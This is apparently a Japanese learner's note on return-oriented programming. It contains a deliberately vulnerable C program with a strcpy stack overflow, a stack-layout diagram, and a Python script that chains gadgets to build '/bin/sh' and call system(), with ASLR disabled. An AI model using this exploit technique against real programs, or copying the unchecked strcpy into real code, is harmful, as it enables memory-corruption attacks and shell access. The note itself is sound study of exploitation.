自分の理解が正しいかどうか
Introduction to return oriented programming (ROP)のChaining functionsのところにあるコードを使って試した.
なお, ASLRは無効とする.
#include <string.h>
#include <stdlib.h>
char string[100];
void exec_string()
{
system(string);
}
void add_bin(int magic)
{
if (magic == 0xdeadbeef)
{
strcat(string, "/bin");
}
}
void add_sh(int magic1, int magic2)
{
if (magic1 == 0xcafebabe && magic2 == 0xbadf00d)
{
strcat(string, "/sh");
}
}
void vulnerable_function(char* string)
{
char buffer[100];
strcpy(buffer, string);
}
int main(int argc, char** argv)
{
string[0] = 0;
vulnerable_function(argv[1]);
return 0;
}
スタックは下のように書き換えられなければならない.
high
-> return to exec_string
---
-> 0x0badf00d
---
-> 0xcafebabe
---
-> (pop; pop; ret;)
---
-> return to add_sh
---
-> 0xdeadbeef
---
args -> (pop; ret;)
--- ---
return to main -> return to add_bin
--- ---
old ebp -> BBBB
--- ---
0x6cbytes -> A*0x6c
buffer
--- ---
low
以下がshellcodeである.
#!/usr/bin/env python
import os
import struct
add_bin_addr = 0x8048444
add_sh_addr = 0x8048480
exec_string_addr = 0x804842b
popret_addr = 0x80482d5
pop2ret_addr = 0x804847d
payload = "A"*0x6c
payload += "BBBB"
payload += struct.pack("I", add_bin_addr)
payload += struct.pack("I", popret_addr)
payload += struct.pack("I", 0xdeadbeef)
payload += struct.pack("I", add_sh_addr)
payload += struct.pack("I", pop2ret_addr)
payload += struct.pack("I", 0xcafebabe)
payload += struct.pack("I", 0x0badf00d)
payload += struct.pack("I", exec_string_addr)
os.system("./a.out \"%s\"" % payload)